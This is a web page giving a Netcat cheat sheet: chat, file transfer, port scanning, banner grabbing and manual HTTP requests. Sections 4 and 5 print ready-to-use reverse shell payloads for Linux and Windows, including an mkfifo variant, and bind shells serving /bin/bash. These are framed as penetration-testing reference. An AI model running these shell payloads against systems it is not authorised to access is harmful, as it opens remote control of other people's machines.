Ultimate Netcat Cheat Sheet

Ultimate Netcat cheat sheet for networking and penetration testing

Ultimate Netcat Cheat Sheet

The “Swiss Army Knife” of TCP/IP networking.

1. Connection & Chat

The most basic usage: creating a simple client-server chat connection.

Server (Listener)

Run this on Machine A.

nc -lvnp 4444
  • -l: Listen mode
  • -v: Verbose (show info)
  • -n: No DNS lookup (faster)
  • -p: Local port

Client (Connector)

Run this on Machine B.

nc -v [Target_IP] 4444

2. File Transfer

Transfer files between machines. Always start the Receiver first.

Receive File (Destination)

Listen and output content to a file.

nc -lvnp 4444 > outfile.txt

Send File (Source)

Connect and push content into the pipe.

nc -v [Target_IP] 4444 < infile.txt
Pro Tip: Netcat does not show a progress bar. Wait a few seconds after the command finishes to ensure the buffer is flushed.

3. Port Scanning & Banners

Netcat can act as a simple port scanner when Nmap isn’t available.

TCP Scan

Scan ports 20 through 80. The -z flag means “Zero-I/O” (don’t send data, just scan).

nc -zv [Target_IP] 20-80

UDP Scan

Add the -u flag for UDP ports.

nc -zvu [Target_IP] 53

Banner Grabbing

Connect to a port to see what version string the service sends back.

echo “” | nc -v -n -w1 [Target_IP] [Port]

4. Reverse Shells (The “Hacker” Way)

Make the target connect back to you. Bypasses most inbound firewalls.

1. Setup Listener (Your Machine)

nc -lvnp 4444

2. Execute Payload (Target Machine)

OSCommand
Linux (Traditional)nc -e /bin/bash [IP] 4444
Windowsnc.exe -e cmd.exe [IP] 4444
Linux (No -e flag)rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP] 4444 >/tmp/f
Note: Most modern versions of Netcat (OpenBSD version) removed the -e flag for security. Use the “No -e flag” mkfifo method above.

5. Bind Shells

Open a port on the target and wait for a connection. (Blocked by most firewalls).

1. Setup Listener (Target Machine)

nc -lvnp 4444 -e /bin/bash

2. Connect (Your Machine)

nc -v [Target_IP] 4444

6. Web Server Interaction

Manually talk to a web server to debug headers.

Manual HTTP Request

nc -v google.com 80

Then type:

GET / HTTP/1.1 Host: google.com

(Press Enter twice)

Leave a Reply

Your email address will not be published. Required fields are marked *